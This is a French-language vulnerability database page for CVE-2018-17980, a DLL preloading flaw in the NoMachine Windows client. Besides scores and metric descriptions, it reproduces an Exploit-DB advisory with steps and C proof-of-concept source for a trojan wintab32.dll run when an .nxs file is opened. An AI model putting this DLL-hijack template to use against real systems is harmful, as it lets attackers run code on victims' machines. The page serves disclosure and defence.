CVE-2018-17980 : Détail

CVE-2018-17980

7.8
/
Haute
A08-Soft and Data Integrity Fail
0.28%V3
Local
2018-10-15
17h00 +00:00
2018-10-17
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

NoMachine before 5.3.27 and 6.x before 6.3.6 allows attackers to gain privileges via a Trojan horse wintab32.dll file located in the same directory as a .nxs file, as demonstrated by a scenario where the .nxs file and the DLL are in the current working directory, and the Trojan horse code is executed. (The directory could, in general, be on a local filesystem or a network share.).

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-426 Untrusted Search Path
The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45611

Date de publication : 2018-10-14 22h00 +00:00
Auteur : hyp3rlinx
EDB Vérifié : No

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NOMACHINE-TROJAN-FILE-REMOTE-CODE-EXECUTION.txt [+] ISR: ApparitionSec Greetz: ***Greetz: indoushka | Eduardo *** [Vendor] www.nomachine.com [Product] NoMachine <= v5.3.26 NX technology, developed by NoMachine, and commonly known as "NX" is a proprietary computer program that provides desktop and remote access. It consists of a suite of products for desktop virtualization and application delivery for servers, and client software. [Vulnerability Type] Trojan File Remote Code Execution [Affected Component] wintab32.dll [CVE Reference] CVE-2018-17980 [Security Issue] Possible arbitrary code execution when opening a ".nxs" nomachine file type on client's wintab32.dll preload. This issue regards the client part of all NoMachine installations on Windows (NoMachine free, NoMachine Enterprise Client, NoMachine Enteprise Desktop and NoMachine Cloud Server). 1) create a 32 bit DLL named "wintab32.dll" 2) create an native nomachine ".NXS" file and open it alongside the trojan "wintab32.dll" DLL from Network share or any dir. BOOM! [References] https://www.nomachine.com/TR10P08887 [Exploit/POC] #include <windows.h> /* hyp3rlinx */ /* gcc -c -m32 wintab32.c gcc -shared -m32 -o wintab32.dll wintab32.o */ void executo(){ MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , ":)" , MB_YESNO + MB_ICONQUESTION ); } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){ switch(fdwReason){ case DLL_PROCESS_ATTACH:{ executo(); break; } case DLL_PROCESS_DETACH:{ executo(); break; } case DLL_THREAD_ATTACH:{ executo(); break; } case DLL_THREAD_DETACH:{ executo(); break; } } return TRUE; } [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: September 26, 2018 Vendor verified vulnerability: September 28, 2018 CVE assigned by Mitre: October 4, 2018 Vendor release fixed version: October 11, 2018 October 11, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Products Mentioned

Configuraton 0

Nomachine>>Nomachine >> Version To (excluding) 5.3.27

Nomachine>>Nomachine >> Version From (including) 6.0.0 To (excluding) 6.3.6

Références

https://www.nomachine.com/TR10P08887
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/45611/
Tags : exploit, x_refsource_EXPLOIT-DB